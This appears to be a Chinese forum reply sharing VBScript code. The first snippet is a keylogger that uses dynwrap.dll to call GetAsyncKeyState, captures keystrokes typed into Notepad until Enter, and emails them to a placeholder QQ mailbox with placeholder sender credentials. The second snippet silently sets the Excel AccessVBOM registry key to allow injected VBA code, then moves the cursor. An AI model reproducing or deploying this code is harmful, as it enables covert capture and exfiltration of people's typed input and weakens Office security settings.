| | | | | Const WINDOW_TITLE = "无标题 - 记事本" | | Const PROCESS_NAME = "notepad.exe" | | Const SENDER_MAIL_ADDR = "xxxxx@163.com" | | Const SENDER_MAIL_PWD = "xxxxxxxxx" | | Const SENDEE_MAIL_ADDR = "xxxxxxxxx@qq.com" | | | | Dim strDllPath | | strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll") | | RegisterCOM strDllPath | | Dim g_objConnectAPI | | Set g_objConnectAPI = CreateObject("DynamicWrapper") | | | | With g_objConnectAPI | | .Register "user32.dll", "FindWindow", "i=ss", "f=s", "r=l" | | .Register "user32.dll", "GetForegroundWindow", "f=s", "r=l" | | .Register "user32.dll", "GetAsyncKeyState", "i=l", "f=s", "r=l" | | End With | | | | | | | | | | | | | | Do | | If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do | | WScript.Sleep 500 | | Loop | | | | Dim TheKeyResult | | TheKeyResult = "" | | | | Do | | If Not IsTheWindowActive() Then Exit Do | | Dim TheKey | | TheKey = "" | | TheKey = GetThePressKey() | | TheKeyResult = TheKeyResult & TheKey | | WScript.Sleep 20 | | Loop Until TheKey = "[ENTER]" | | | | SendEmail SENDER_MAIL_ADDR, SENDER_MAIL_PWD, SENDEE_MAIL_ADDR, "", "按键内容", TheKeyResult, "" | | | | | | | | | | | | | | | | | | | | Function IsFoundWindowTitle() | | Dim hWnd | | hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE) | | IsFoundWindowTitle = CBool(hWnd) | | | | End Function | | | | Function IsTheWindowActive() | | Dim hWnd,hAct | | hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE) | | hAct = g_objConnectAPI.GetForegroundWindow() | | IsTheWindowActive = CBool(hWnd=hAct) | | | | End FunctionCOPY |
这个是调用api ,需要下载并注册注册一个dynwrap.dll文件,论坛上有,使用方法也有,你搜索下
或者你安装了excel也可以用excel调用api
这是一个例子:
| Option Explicit | | Dim WshShell, oExcel, strRegKey, strCode, x, y | | Set oExcel = CreateObject("Excel.Application") | | set WshShell = CreateObject("wscript.Shell") | | strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM" | | strRegKey = Replace(strRegKey, "$", oExcel.Version) | | | | WshShell.RegWrite strRegKey, 1, "REG_DWORD" | | | | strCode = _ | | "Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCrLf & _ | | vbCrLf & _ | | "Private Type POINTAPI" & vbCrLf & _ | | "X As Long" & vbCrLf & _ | | "Y As Long" & vbCrLf & _ | | "End Type" & vbCrLf & _ | | vbCrLf & _ | | "Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long" & vbCrLf & _ | | vbCrLf & _ | | "Sub SetCursor(x as Long, y as Long)" & vbCrLf & _ | | "SetCursorPos x, y" & vbCrLf & _ | | "End Sub" & vbCrLf & _ | | vbCrLf & _ | | "Public Function GetXCursorPos() As Long" & vbCrLf & _ | | "Dim pt As POINTAPI" & vbCrLf & _ | | "GetCursorPos pt" & vbCrLf & _ | | "GetXCursorPos = pt.X" & vbCrLf & _ | | "End Function" & vbCrLf & _ | | vbCrLf & _ | | "Public Function GetYCursorPos() As Long" & vbCrLf & _ | | "Dim pt As POINTAPI" & vbCrLf & _ | | "GetCursorPos pt" & vbCrLf & _ | | "GetYCursorPos = pt.Y" & vbCrLf & _ | | "End Function" | | oExcel.Workbooks.Add.VBProject.VBComponents.Add(1).CodeModule.AddFromString strCode | | x = oExcel.Run("GetXCursorPos") | | y = oExcel.Run("GetYCursorPos") | | WScript.Echo x, y | | oExcel.Run "SetCursor", 1024, 768 | | oExcel.DisplayAlerts = False | | oExcel.Workbooks.Add.Close | | oExcel.QuitCOPY |
|